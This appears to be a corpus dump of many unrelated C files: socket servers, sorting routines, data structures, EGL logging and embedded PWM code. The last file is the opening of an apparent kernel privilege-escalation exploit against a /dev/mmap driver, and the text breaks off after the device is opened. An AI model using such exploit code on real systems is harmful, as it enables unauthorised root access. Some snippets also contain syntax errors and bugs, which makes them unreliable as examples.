#define MAXLINE 1024
int echo_process(int echo_fd)
{
int len;
char buf[MAXLINE];
while((len = read(echo_fd, buf, sizeof(buf))) != 0)
{
if (len < 0)
{
printf("echo: 읽기 에러 - %s\n", strerror(errno));
return (-1);
}
if(write(echo_fd, buf, len) < 0)
{
printf("echo: 읽기 에러 - %s\n", strerror(errno));
return (-1);
}
}
return (0);
}
int daytime_process(int daytime_fd)
{
time_t now;
char buf[MAXLINE];
time(&now);
sprintf(buf, "%s\n", ctime(&now));
if(write(daytime_fd, buf, strlen(buf)) < 0)
{
printf("daytime: 쓰기 에러 - %s\n", strerror(errno));
return (-1);
}
return 0;
}
int main(int argc, char **argv)
{
int echo_fd, daytime_fd, s;
int echo_port, daytime_port;
int nfds, len;
fd_set read_fds;
struct sockaddr_in server_addr, client_addr;
if (argc != 2)
{
printf("잘못된 인자!\n");
return (-1);
}
echo_port = atoi(argv[1]);
daytime_port = echo_port + 1;
echo_fd = socket(PF_INET, SOCK_STREAM, 0);
bzero((char *)&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(echo_port);
bind(echo_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
daytime_fd = socket(PF_INET, SOCK_STREAM, 0);
server_addr.sin_port = htons(daytime_port);
bind(daytime_fd,(struct sockaddr *)&server_addr,sizeof(server_addr));
listen(echo_fd, 5);
listen(daytime_fd, 5);
nfds = daytime_fd + 1;
FD_ZERO(&read_fds);
while(1)
{
FD_SET(echo_fd, &read_fds);
FD_SET(daytime_fd, &read_fds);
if(select(nfds, &read_fds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
{
printf("에러발생: %s\n", strerror(errno));
}
if(FD_ISSET(echo_fd, &read_fds))
{
len = sizeof(client_addr);
bzero((char *)&client_addr, len);
s = accept(echo_fd, (struct sockaddr *)&client_addr, &len);
echo_process(s);
close(s);
}
if(FD_ISSET(daytime_fd, &read_fds)) {
len = sizeof(client_addr);
s = accept(daytime_fd, (struct sockaddr *)&client_addr, &len);
daytime_process(s);
close(s);
}
}
}
|
C | #include <stdint.h>
#include <stdbool.h>
#pragma once
// Our stack datatype - holds individual characters in an array
#define MAX_STACK_LENGTH 1000
struct stack{
uint8_t content[MAX_STACK_LENGTH];
int16_t length;
};
// Helper function to print an error and exit the program
void print_error(const char * msg);
// Helper functions to remove and add items to the stack
void append(struct stack *s, uint8_t c);
void pop(struct stack *s);
// Helper functions to identify individual characters
int16_t operator_precedence(uint8_t c);
bool is_operator(uint8_t c);
bool is_right_associative(uint8_t c);
bool is_parenthesis(uint8_t c);
bool is_variable(uint8_t c);
bool is_symbol(uint8_t c);
bool is_valid_char(uint8_t c);
|
C | #include <stdio.h>
int main(void){
long double x[100] = {0,};
long double e = 0.001;
int i = 1;
x[0] = 1.0;
x[1] = 1.7;
while(x[i] - x[i-1] > 0 && x[i] - x[i-1] > e || x[i] - x[i-1] < 0 && x[i] - x[i-1] < -e){
long double fxi = x[i] * x[i] * x[i] + x[i] * x[i] - 3 * x[i] - 3;
long double fxi1 = x[i-1] * x[i-1] * x[i-1] + x[i-1] * x[i-1] - 3 * x[i-1] - 3;
x[i+1] = x[i] - ((x[i] - x[i-1]) * fxi /(fxi - fxi1));
printf("%.9Lf\n",x[i+1]);
i++;
}
} |
C | #include<stdio.h>
int main(){
int ret;
ret = soma(2, 3);
print(¨O resultado é: %d¨, ret);
return 0;
}
|
C | int ft_tolower(int c)
{
if (ft_isupper(c))
return (c + 32);
return (c);
} |
C | /**
* Logging facility for debug/info messages.
* _EGL_FATAL messages are printed to stderr
* The EGL_LOG_LEVEL var controls the output of other warning/info/debug msgs.
*/
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "egllog.h"
#include "eglmutex.h"
#define MAXSTRING 1000
#define FALLBACK_LOG_LEVEL _EGL_WARNING
static struct {
_EGLMutex mutex;
EGLBoolean initialized;
EGLint level;
_EGLLogProc logger;
EGLint num_messages;
} logging = {
_EGL_MUTEX_INITIALIZER,
EGL_FALSE,
FALLBACK_LOG_LEVEL,
NULL,
0
};
static const char *level_strings[] = {
/* the order is important */
"fatal",
"warning",
"info",
"debug",
NULL
};
/**
* Set the function to be called when there is a message to log.
* Note that the function will be called with an internal lock held.
* Recursive logging is not allowed.
*/
void
_eglSetLogProc(_EGLLogProc logger)
{
EGLint num_messages = 0;
_eglLockMutex(&logging.mutex);
if (logging.logger != logger) {
logging.logger = logger;
num_messages = logging.num_messages;
logging.num_messages = 0;
}
_eglUnlockMutex(&logging.mutex);
if (num_messages)
_eglLog(_EGL_DEBUG,
"New logger installed. "
"Messages before the new logger might not be available.");
}
/**
* Set the log reporting level.
*/
void
_eglSetLogLevel(EGLint level)
{
switch (level) {
case _EGL_FATAL:
case _EGL_WARNING:
case _EGL_INFO:
case _EGL_DEBUG:
_eglLockMutex(&logging.mutex);
logging.level = level;
_eglUnlockMutex(&logging.mutex);
break;
default:
break;
}
}
/**
* The default logger. It prints the message to stderr.
*/
static void
_eglDefaultLogger(EGLint level, const char *msg)
{
fprintf(stderr, "libEGL %s: %s\n", level_strings[level], msg);
}
/**
* Initialize the logging facility.
*/
static void
_eglInitLogger(void)
{
const char *log_env;
EGLint i, level = -1;
if (logging.initialized)
return;
log_env = getenv("EGL_LOG_LEVEL");
if (log_env) {
for (i = 0; level_strings[i]; i++) {
if (strcasecmp(log_env, level_strings[i]) == 0) {
level = i;
break;
}
}
}
else {
level = FALLBACK_LOG_LEVEL;
}
logging.logger = _eglDefaultLogger;
logging.level = (level >= 0) ? level : FALLBACK_LOG_LEVEL;
logging.initialized = EGL_TRUE;
/* it is fine to call _eglLog now */
if (log_env && level < 0) {
_eglLog(_EGL_WARNING,
"Unrecognized EGL_LOG_LEVEL environment variable value. "
"Expected one of \"fatal\", \"warning\", \"info\", \"debug\". "
"Got \"%s\". Falling back to \"%s\".",
log_env, level_strings[FALLBACK_LOG_LEVEL]);
}
}
/**
* Log a message with message logger.
* \param level one of _EGL_FATAL, _EGL_WARNING, _EGL_INFO, _EGL_DEBUG.
*/
void
_eglLog(EGLint level, const char *fmtStr, ...)
{
va_list args;
char msg[MAXSTRING];
/* one-time initialization; a little race here is fine */
if (!logging.initialized)
_eglInitLogger();
if (level > logging.level || level < 0)
return;
_eglLockMutex(&logging.mutex);
if (logging.logger) {
va_start(args, fmtStr);
vsnprintf(msg, MAXSTRING, fmtStr, args);
va_end(args);
logging.logger(level, msg);
logging.num_messages++;
}
_eglUnlockMutex(&logging.mutex);
if (level == _EGL_FATAL)
exit(1); /* or abort()? */
}
|
C | /*
* Various functions using read and stdio for handling reads and buffers
* Written by: James Ross
*/
#include "input.h"
/*
* Uses the read() system call to read from the given file descriptor.
* Result of the read is placed in the provided buffer.
* nbyte is the size of the buffer.
*
* Reads nbyte-1 and places a '\0' value at end of the buffer
*
* Returns -1 on error, errno is set by the read system call
*/
ssize_t read_input(int fd, char *buff, int nbyte)
{
ssize_t bytes_read;
--nbyte;
bytes_read = read(fd, buff, nbyte);
if (bytes_read == -1)
return -1;
if (bytes_read < nbyte)
buff[bytes_read] = '\0';
else
buff[nbyte] = '\0';
return bytes_read;
}
/* clears the input buffer using variable char ch; and getchar ().*/
void clear_stdin()
{
char CH;
while((CH = getchar()) != '\n' && CH != EOF);
} /* end CLEAR_STDIN */
char* fgets_input(size_t nbyte, FILE *fp)
{
size_t len;
char *input;
char *res;
assert(fp);
input = calloc(nbyte, sizeof(char));
if (!input)
return NULL;
res = fgets(input, nbyte, fp);
if (!res) { /* fgets returned nothing read */
free(input);
return NULL;
}
/* replace newline with '\0', clearing STDIN if required */
len = strlen(input) - 1;
if(input[len] == '\n')
input[len] = '\0';
else
clear_stdin();
/* allocate res to smallest ammount required for string */
len = strlen(input) + 1;
res = calloc(len, sizeof(char));
if (!res) {
free(input);
return NULL;
}
/* copy contents of input into result */
strncpy(res, input, len);
free(input);
return res;
} /* end lineInput */
|
C | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include "header.h"
void Swap(int *a, int *b)
{
int temp = *a;
*a = *b;
*b = temp;
}
void SelectionSort(int *array, size_t n)
{
size_t i, j, min_index;
int temp;
for(i = 0; i < n-1; i++)
{
min_index = i;
for(j = i+1; j < n; j++)
{
if(array[j] < array[min_index])
min_index = j;
}
Swap(&array[i], &array[min_index]);
}
}
void BubbleSort(int *array, size_t n)
{
size_t i, j, swap;
int temp;
for(i = 0; i < n-1; i++)
{
swap = 0;
for(j = 0; j < n-i-1; j++)
{
if(array[j] > array[j+1])
{
swap = 1;
Swap(&array[j], &array[j+1]);
}
}
if(swap == 0)
break;
}
}
void RecBubbleSort(int *array, size_t n)
{
size_t i, swap = 0;
int temp;
if(n == 1)
return;
for(i = 0; i < n-1; i++)
{
if(array[i] > array[i+1])
{
swap = 1;
Swap(&array[i], &array[i+1]);
}
}
if(swap == 0)
return;
RecBubbleSort(array, n-1);
}
void InsertionSort(int *array, size_t n)
{
int i, j;
int temp;
for(i = 1; i < n; i++)
{
temp = array[i];
j = i-1;
while(j >= 0 && array[j] > temp)
{
array[j+1] = array[j];
--j;
}
array[++j] = temp;
}
}
void RecInsertionSort(int *array, size_t n)
{
int j;
int temp;
if(n == 1)
return;
RecInsertionSort(array, n-1);
temp = array[n-1];
j = n-2;
while(j >= 0 && array[j] > temp)
{
array[j+1] = array[j];
--j;
}
array[++j] = temp;
}
void Merge(int *array, size_t l, size_t m, size_t r)
{
int *left, *right;
size_t i, j, k;
left = (int*)malloc((m-l+1) * sizeof(int));
right = (int*)malloc((r-m) * sizeof(int));
for(i = 0; i < m-l+1; i++)
left[i] = array[i+l];
for(i = 0; i < r-m; i++)
right[i] = array[i+m+1];
i = 0;
j = 0;
k = l;
while((i < m-l+1) && (j < r-m))
{
if(left[i] < right[j])
{
array[k] = left[i];
++i;
}
else
{
array[k] = right[j];
++j;
}
++k;
}
if(k < r+1)
{
while(i < m-l+1)
{
array[k] = left[i];
++k;
++i;
}
while(j < r-m)
{
array[k] = right[j];
++k;
++j;
}
}
FreeArray(&left);
FreeArray(&right);
}
void MSort(int *array, size_t l, size_t r)
{
if(l < r)
{
size_t m = (l+r)/2;
MSort(array, l, m);
MSort(array, m+1, r);
Merge(array, l, m, r);
}
}
void MergeSort(int *array, size_t n)
{
size_t l = 0;
size_t r = n-1;
MSort(array, l, r);
}
void IterMergeSort(int *array, size_t n)
{
size_t l, m, r, sub_size;
for(sub_size = 1; sub_size < n; sub_size *= 2)
{
for(l = 0; l < n-1; l += 2 * sub_size)
{
if((l + sub_size - 1) < n - 1)
m = l + sub_size - 1;
else
m = n - 1;
if((l + 2 * sub_size) < n - 1)
r = l + 2 * sub_size - 1;
else
r = n - 1;
Merge(array, l, m, r);
}
}
}
int Partition(int *array, int low, int high)
{
int i, j;
int temp, pivot;
i = low - 1;
pivot = array[high];
for(j = low; j < high; j++)
{
if(array[j] <= pivot)
{
++i;
Swap(&array[i], &array[j]);
}
}
++i;
Swap(&array[i], &array[high]);
return i;
}
void Qsort(int *array, int low, int high)
{
if(low < high)
{
int pivot_index;
pivot_index = Partition(array, low, high);
if(low < pivot_index - 1)
Qsort(array, low, pivot_index - 1);
if(high > pivot_index + 1)
Qsort(array, pivot_index + 1, high);
}
}
void QuickSort(int *array, size_t n)
{
int low, high;
low = 0;
high = n - 1;
Qsort(array, low, high);
}
void IterQsort(int *array, size_t low, size_t high)
{
int stack[high - low + 1];
int top;
int pivot_index;
int l, h;
top = -1;
stack[++top] = low;
stack[++top] = high;
while(top > 0)
{
h = stack[top];
l = stack[--top];
pivot_index = Partition(array, l, h);
if(pivot_index - 1 > l)
{
stack[++top] = l;
stack[++top] = pivot_index - 1;
}
if(pivot_index + 1 < h)
{
stack[++top] = pivot_index + 1;
stack[++top] = h;
}
}
}
void IterQuickSort(int *array, size_t n)
{
size_t low, high;
low = 0;
high = n - 1;
IterQsort(array, low, high);
}
void Heapify(int *array, size_t heap_size, int node_index)
{
int left = 2 * node_index + 1;
int right = 2 * node_index + 2;
int largest_index = node_index;
if(left < heap_size && array[left] > array[largest_index])
largest_index = left;
if(right < heap_size && array[right] > array[largest_index])
largest_index = right;
if(largest_index != node_index)
{
Swap(&array[node_index], &array[largest_index]);
Heapify(array, heap_size, largest_index);
}
}
void HeapSort(int *array, size_t n)
{
int i;
for(i = (n - 1) / 2; i >= 0; --i)
Heapify(array, n, i);
for(i = n - 1; i >= 0; --i)
{
Swap(&array[0], &array[i]);
Heapify(array, i, 0);
}
}
void CountingSort(int *array, size_t n)
{
int input[n];
int count[n];
size_t i;
memcpy(input, array, n * sizeof(int));
memset(count, 0, n * sizeof(int));
for(i = 0; i < n; i++)
++count[input[i]];
for(i = 1; i < n; i++)
count[i] += count[i-1];
for(i = 0; i < n; i++)
array[count[input[i]]-- -1] = input[i];
} |
C | /***************************************************************************
* binoffset.c
* (C) 2002 Randy Dunlap <[email protected]>
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
# binoffset.c:
# - searches a (binary) file for a specified (binary) pattern
# - returns the offset of the located pattern or ~0 if not found
# - exits with exit status 0 normally or non-0 if pattern is not found
# or any other error occurs.
****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define VERSION "0.1"
#define BUF_SIZE (16 * 1024)
#define PAT_SIZE 100
char *progname;
char *inputname;
int inputfd;
unsigned int bix; /* buf index */
unsigned char patterns [PAT_SIZE] = {0}; /* byte-sized pattern array */
int pat_len; /* actual number of pattern bytes */
unsigned char *madr; /* mmap address */
size_t filesize;
int num_matches = 0;
off_t firstloc = 0;
void usage (void)
{
fprintf (stderr, "%s ver. %s\n", progname, VERSION);
fprintf (stderr, "usage: %s filename pattern_bytes\n",
progname);
fprintf (stderr, " [prints location of pattern_bytes in file]\n");
exit (1);
}
void get_pattern (int pat_count, char *pats [])
{
int ix, err, tmp;
#ifdef DEBUG
fprintf (stderr,"get_pattern: count = %d\n", pat_count);
for (ix = 0; ix < pat_count; ix++)
fprintf (stderr, " pat # %d: [%s]\n", ix, pats[ix]);
#endif
for (ix = 0; ix < pat_count; ix++) {
tmp = 0;
err = sscanf (pats[ix], "%5i", &tmp);
if (err != 1 || tmp > 0xff) {
fprintf (stderr, "pattern or value error in pattern # %d [%s]\n",
ix, pats[ix]);
usage ();
}
patterns [ix] = tmp;
}
pat_len = pat_count;
}
void search_pattern (void)
{
for (bix = 0; bix < filesize; bix++) {
if (madr[bix] == patterns[0]) {
if (memcmp (&madr[bix], patterns, pat_len) == 0) {
if (num_matches == 0)
firstloc = bix;
num_matches++;
}
}
}
}
#ifdef NOTDEF
size_t get_filesize (int fd)
{
off_t end_off = lseek (fd, 0, SEEK_END);
lseek (fd, 0, SEEK_SET);
return (size_t) end_off;
}
#endif
size_t get_filesize (int fd)
{
int err;
struct stat stat;
err = fstat (fd, &stat);
fprintf (stderr, "filesize: %ld\n", err < 0 ? (long)err : stat.st_size);
if (err < 0)
return err;
return (size_t) stat.st_size;
}
int main (int argc, char *argv [])
{
progname = argv[0];
if (argc < 3)
usage ();
get_pattern (argc - 2, argv + 2);
inputname = argv[1];
inputfd = open (inputname, O_RDONLY);
if (inputfd == -1) {
fprintf (stderr, "%s: cannot open '%s'\n",
progname, inputname);
exit (3);
}
filesize = get_filesize (inputfd);
madr = mmap (0, filesize, PROT_READ, MAP_PRIVATE, inputfd, 0);
if (madr == MAP_FAILED) {
fprintf (stderr, "mmap error = %d\n", errno);
close (inputfd);
exit (4);
}
search_pattern ();
if (munmap (madr, filesize))
fprintf (stderr, "munmap error = %d\n", errno);
if (close (inputfd))
fprintf (stderr, "%s: error %d closing '%s'\n",
progname, errno, inputname);
fprintf (stderr, "number of pattern matches = %d\n", num_matches);
if (num_matches == 0)
firstloc = ~0;
printf ("%ld\n", firstloc);
fprintf (stderr, "%ld\n", firstloc);
exit (num_matches ? 0 : 2);
}
/* end binoffset.c */
|
C | #include<stdio.h>
#include<stdlib.h>
//ҪһṹһԱ
union MyUnion{
int num;
double db;
};
void main() {
//printf("%d", sizeof(union MyUnion)); //ȡ
union MyUnion my1;
my1.db = 1111111111123.988776; //һ
printf("%8d %f\n", my1.num, my1.db); //һı仯Ӱһ
my1.num = -10;
printf("%8d %f\n", my1.num,my1.db);
system("pause");
} |
C | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
main()
{
char a ;
a = 'a' ;
printf("%c\n",a) ;
}
|
C | #ifndef __TREE23_H__
#define __TREE23_H__
#include<stdlib.h>
#include<stdio.h>
typedef struct Key Key,*keyp; //关键词链
typedef struct Node Node,*nodep; //节点
typedef struct Tree Tree,*treep; //23树
typedef enum{
FALSE = 0,
TRUE = 1,
}Boolean;
struct Key{
int key;
struct Key* next;
}; //关键词
struct Node{
struct Node *parent; //父节点
keyp keys; //关键词链
nodep children; //孩子
int size; //关键词链
struct Node *next; //后继节点
};
struct Tree{
nodep root; //树根
int size; //树的大小
};
treep tree(); //新的2,3树
nodep create_node(treep t,keyp first_key,nodep first_child,int size); //创建新的2-3节点
Boolean insertNode(treep t,int key); //向t中插入节点key
Boolean _insertNode(treep t,nodep n,int key); //底层节点插入
Boolean fixNode(treep t,nodep n); //修复节点
keyp searchNode(treep t,int key); //查找关键词
Boolean deleteNode(treep t,int key);
#endif |
C | /** example_pwm app:
*
* This app shows how to generate two PWM signals with the Wixel on pins P1_3
* and P1_4 using Timer 3.
*
* To understand how this app works, you will need to read Section 12 of the
* CC2511 datasheet, which documents Timer 3 and Timer 4.
*
* We do not currently have a general-purpose PWM library, so this example
* directly accesses the timer registers in order to set up PWM.
* The servo library is not appropriate for most PWM applications because it
* is designed for RC servos and cannot produce a full range of duty cycles.
*
* The PWM frequency used by this app is 11.7 kHz, which works well for most
* DC motor control applications. If you need a different frequency, you can
* change the prescaler configuration bits in the T3CTL register to achieve
* frequencies as high as 93.8 kHz and as low as 0.73 kHz.
*
* If you are using PWM to control a DC motor and your driver can tolerate a
* 23.4 kHz PWM frequency, then we recommend uncommenting the line in timer3Init
* that sets the frequency to 23.4 kHz. This frequency is ultrasonic so you
* should not hear a high-pitched whine from your motor. You will need to
* consult the datasheet of your motor driver and make sure it can tolerate the
* higher frequency.
*
* This code could be adapted to use Timer 4, but Timer 4 is used by the
* wixel.lib library to implement getMs(), so it would interfere with many of
* the Wixel's standard libraries.
*
* If you need finer control over the duty cycle, you should use Timer 1
* which is a 16-bit timer.
*/
#include <wixel.h>
#include <usb.h>
#include <usb_com.h>
void timer3Init()
{
// Start the timer in free-running mode and set the prescaler.
T3CTL = 0b01110000; // Prescaler 1:8, frequency = (24000 kHz)/8/256 = 11.7 kHz
//T3CTL = 0b01010000; // Use this line instead if you want 23.4 kHz (1:4)
// Set the duty cycles to zero.
T3CC0 = T3CC1 = 0;
// Enable PWM on both channels. We choose the mode where the channel
// goes high when the timer is at 0 and goes low when the timer value
// is equal to T3CCn.
T3CCTL0 = T3CCTL1 = 0b00100100;
// Configure Timer 3 to use Alternative 1 location, which is the default.
PERCFG &= ~(1<<5); // PERCFG.T3CFG = 0;
// Configure P1_3 and P1_4 to be controlled by a peripheral function (Timer 3)
// instead of being general purpose I/O.
P1SEL |= (1<<3) | (1<<4);
// After calling this function, you can set the duty cycles by simply writing
// to T3CC0 and T3CC1. A value of 255 results in a 100% duty cycle, and a
// value of N < 255 results in a duty cycle of N/256.
}
void updatePwm()
{
uint16 x;
// Set the duty cycle on channel 0 (P1_3) to 210/256 (82.0%).
T3CC0 = 210;
// Make the duty cycle on channel 1 (P1_4) vary smoothly up and down.
x = getMs() >> 3;
T3CC1 = (x >> 8 & 1) ? ~x : x;
}
void main()
{
systemInit();
usbInit();
timer3Init();
while(1)
{
boardService();
usbShowStatusWithGreenLed();
updatePwm();
usbComService();
}
}
|
C | /*
* Test that a basic collector works. Here we will do a basic reduction, keeping
* the last value received
*
*/
#include "../tests.h"
#include <area51/log.h>
#include <area51/list.h>
#include <area51/stream.h>
#define TEST_VALUE 42
static int result = INT_MIN;
static void forEach(StreamData *d) {
result = stream_void_int(stream_getVal(d));
}
void test_stream_ofInt(Test *t) {
startTest(t);
Stream *s = stream_of_int(TEST_VALUE);
int r = s ? EXIT_SUCCESS : EXIT_FAILURE;
if (!r)
r = stream_forEach(s, forEach);
if (!r) {
result = INT_MIN;
//stream_debug(s);
stream_run(s, NULL);
assertTrue(t,result==TEST_VALUE);
pass(t);
} else {
stream_free(s);
fail(t);
}
}
|
C | /****************************************************************************/
/* ecvt v2.54 */
/* Copyright (c) 1995-2004 Texas Instruments Incorporated */
/****************************************************************************/
#include <math.h>
int ltoa(long val, char *buffer);
char *ecvt(long double value, int ndigit, int *decpt, int *sign)
{
static char out[100];
int digits = 0; /* NUMBER OF DIGITS BEFORE . */
char *pos = out + 1;
int temp;
out[0] = '0'; /* JUST IN CASE WE ROUND. */
ndigit++; /* DO ONE EXTRA DIGIT FOR ROUNDING */
/*--------------------------------------------------------------------*/
/* IF TRYING TO CONVERT INFINITY, RETURN HUGE_VALL OF PROPER SIGN */
/*--------------------------------------------------------------------*/
{
int *ptr = (int *)&value;
if (((*ptr >> 20) & 0x7ff) == 0x7ff)
value = (*ptr & 0x80000000) ? -HUGE_VALL : HUGE_VALL;
}
/*--------------------------------------------------------------------*/
/* PERFORM PRESCALING - MAKE SURE NUMBER HAS INTEGRAL WHOLE PART */
/*--------------------------------------------------------------------*/
if (*sign = (value < 0)) value = -value;
while (value > 0x7FFFFFFF) { value /= 10; digits++; }
while (value && value < 1) { value *= 10; digits--; }
/*--------------------------------------------------------------------*/
/* WRITE OUT INTEGRAL PART OF NUMBER. */
/*--------------------------------------------------------------------*/
pos += temp = ltoa((long)value, pos);
*decpt = digits + temp;
/*--------------------------------------------------------------------*/
/* WRITE OUT FRACTIONAL PART OF NUMBER */
/*--------------------------------------------------------------------*/
if (temp >= ndigit)
pos = out + ndigit + 1;
else if ((ndigit -= temp) > 0) do
{
value -= (int) value;
*pos++ = (int)(value *= 10.0) + '0';
}
while (--ndigit);
/*--------------------------------------------------------------------*/
/* PERFORM ROUNDING. NOTE THAT pos IS CURRENTLY POINTING AT AN EXTRA */
/* DIGIT WHICH WAS CONVERTED FOR THIS PURPOSE. */
/*--------------------------------------------------------------------*/
if (*--pos >= '5')
{
char *ptr = pos;
while ((*--ptr += 1) > '9') *ptr = '0';
if (ptr == out) { *--pos = 0; *decpt += 1; return(out); }
}
*pos = 0;
return out + 1;
}
|
C | /********************************************************************************
*
* FILE NAME : divisibility_check.c
*
* DESCRIPTION: It takes as an input an array and a parameter N and checks
* whether N is divisible by the values in the array or not.
*
* DATE NAME REFERENCE REASON
*
* 8-MAR-08 Sibu C FG 1.0 Initial creation
*
* 2007, Technologies (Holdings) Ltd
*******************************************************************************/
#include<stdio.h>
/*******************************************************************************
*
* FUNCTION NAME: check
*
* DESCRIPTION: Checks whether the number N is divisible be the elements of the array or not.
*
* RETURNS: Returns 0
*******************************************************************************/
void check(int array_length,int *array,int number)
{
int i;
for(i=0;i<array_length;i++)
{
if(number%(*(array+i))==0)
{
printf("\nThe number is divisible by %d",*(array+i));
}
}
}
/*******************************************************************************
*
* FUNCTION NAME: main
*
* DESCRIPTION: Takes an array as an input and a number N.
*
* RETURNS: Returns 0
*******************************************************************************/
int main()
{
int array_num,i,number;
int array[5];
printf("Enter the total number of elements in the array\n");
scanf("%d",&array_num);
printf("\n Enter the array elements\n");
for(i=0;i<array_num;i++)
{
scanf("%d",&array[i]);
}
printf("\n Enter the number which has to be checked for divisibility\n");
scanf("%d",&number);
check(array_num,&array,number);
return 0;
}
|
C | /*
stack using linklist implementation
*/
#include <stdio.h>
#include <stdlib.h>
typedef struct node{
int data;
struct node *next;
}stack;
void push(stack **top, int val){
stack *tem;
tem=(stack *)malloc(sizeof(stack));
if(!tem){
printf("\n~~~ MEMORY ERROR ~~~\n");
return ;
}
tem->data=val;
tem->next=*top;
*top=tem;
}
int pop(stack **top){
stack *temp=*top, *p;
if(!temp)
return -999;
int x=temp->data;
p=*top;
temp=temp->next;
free(p);
*top=temp;
return x;
}
void display(stack *p){
if(!p){
printf("~~~~ EMPTY stack ~~~~\n");
return;
}
printf("\n~~~~~~~~~~~~~\n\n| |\n| |\n");
while(p){
printf("|%8d|\n----------\n",p->data);
p=p->next;
}
printf(" TOP=0\n~~~~~~~~~~~~~\n");
}
void delete_stack(stack **top){
stack *ptr=*top;
stack *temp;
while(ptr->next){
temp=ptr->next;
free(ptr);
ptr=temp;
}
free(ptr);
}
int main(){
system("cls");
printf("\nWELCOME TO STACK IN LINKLIST IMPLEMENTATION\n\n");
stack *top=NULL;
int m;
do{
printf("Enter 1 to input, 2 to pop and 3 to display\n");
scanf("%d",&m);
switch(m){
case 1:printf("Enter the element\n");
scanf("%d",&m);
push(&top, m);
break;
case 2:m=pop(&top);
if(m==-999)printf("\nEMPTY\n^~~~~~~~~~\n");
else printf("element poped: %d\n",m);
break;
case 3:display(top);
break;
default:return 0;
}
printf("\t\tENTER 1 TO CONTINUE\n");
scanf("%d",&m);
}while(m==1);
delete_stack(&top);
} |
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* launch.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: kallard <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/12/10 23:27:18 by kallard #+# #+# */
/* Updated: 2020/12/14 21:06:26 by kallard ### ########.fr */
/* */
/* ************************************************************************** */
#include "philo_two.h"
static void launch_three_philos(t_philo *philos)
{
pthread_create(&(philos[0].thread_id), NULL, \
&philo_entry_function, &(philos[0]));
usleep(1000);
pthread_create(&(philos[1].thread_id), NULL, \
&philo_entry_function, &(philos[1]));
usleep(1000);
pthread_create(&(philos[2].thread_id), NULL, \
&philo_entry_function, &(philos[2]));
}
void launch_philos(t_setup *setup, t_philo *philos)
{
int i;
if (setup->num_of_philos == 3)
launch_three_philos(philos);
else
{
i = -1;
while (++i < setup->num_of_philos)
if (!(i % 2))
pthread_create(&(philos[i].thread_id), NULL, \
&philo_entry_function, &(philos[i]));
i = -1;
usleep(10000);
while (++i < setup->num_of_philos)
if (i % 2)
pthread_create(&(philos[i].thread_id), NULL, \
&philo_entry_function, &(philos[i]));
}
}
|
C | #include <stdio.h>
#include <pthread.h>
#include "queuestruct.h"
void queue_initialize(prod_cons_queue *q)
{
//printf("queue inializer\n");
// initialize the queue
for (int i=0; i<20; i++)
{
q->element[i] = 0;
}
// initialize head and tail
q->head = NULL;
q->tail = NULL;
// initialize remaining_elements
q->remaining_elements=MAX_QUEUE_SIZE;
q->current=20;
q->wait=0;
pthread_cond_init(&q->cond, NULL);
q->flag;
}
int checkerGreaterThan (int a, int b)
{
if((int)a>b)
{
a=b;
}
return a;
}
int checker(int a, int b, int c)
{
if((int)a>b||(int)a<c)
{
a=c;
}
return a;
}
int checkerZero(int a, int b)
{
if((int)a>b)
{
return 0;
}
else
{
return a;
}
}
void queue_add(prod_cons_queue *q, int element)
{
q->flag=0;
// make the head position the end of the queue
q->head=19;
q->current=checker(q->current, 20, 0);
// make the tail position the index of the remaining element
q->tail = (q->current)-1;
q->tail = checkerZero(q->tail,19);
if((int)q->element[q->tail]<1 ||(int)q->element[q->tail]>10)
{
q->element[q->tail]=element;
}
/*DEBUG*/
//printf("curent: %i\ttail:%i\telem:%i\n", q->current,q->tail,q->element[q->tail]);
int added=0;
int i=19;
while(added==0)
{
if(i<0||i>(int)q->tail)
{
break;
}
if((int)(q->element[i])==0)
{
// printf("added something\n");
// put the id into that position
q->element[i]= element;
//decrement remaining_elements and current
q->remaining_elements--;
q->current--;
//ensure reamining elemenst is not <0
q->remaining_elements=checkerZero(q->remaining_elements,20);
added=1;
}
i--;
}
q->current=q->tail+1;
if(added==0)
{
/*if(DEBUG==1)
{
printf("have reached the head of the queue (queue_add in queuestruct)\n");
}*/
q->wait=1;
}
}
int queue_remove(prod_cons_queue *q)
{
q->flag=0;
if((int)(q->element[q->head])!=0)
{
q->element[q->head]=0;
q->head--;
q->remaining_elements++;
q->current=q->head+2;
//somehow we have to prioritize certian threads.
q->remaining_elements=checkerGreaterThan(q->remaining_elements,20);
q->current=checkerGreaterThan(q->current, 20);
if ((int)q->tail==0)
{
q->tail=19;
}
else
{
q->tail--;
}
q->tail=checkerGreaterThan(q->tail, 19);
q->head=checkerGreaterThan(q->head,19);
/*if(DEBUG==1)
{
printf("head: %i\ttail: %i\tremain: %i\telem: %i\n", q->head, q->tail, q->remaining_elements, q->element[q->head]);
}*/
q->wait=0;
return q->element[q->head];
}
else
{
//printf("there isn't anything in the end of the array\n");
q->wait=0;
return -22;
}
}
|
C |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
int main(void)
{
unsigned int *addr;
unsigned long size;
int count = 0;
int credNum = 0;
int uid;
unsigned mmapStart = 0x57575000;
uid = getuid();
printf("[+] uid: %d\n", uid);
int fd = open("/dev/mmap", O_RDWR);
if (fd < 0)
{
printf("[-] open failed.\n");
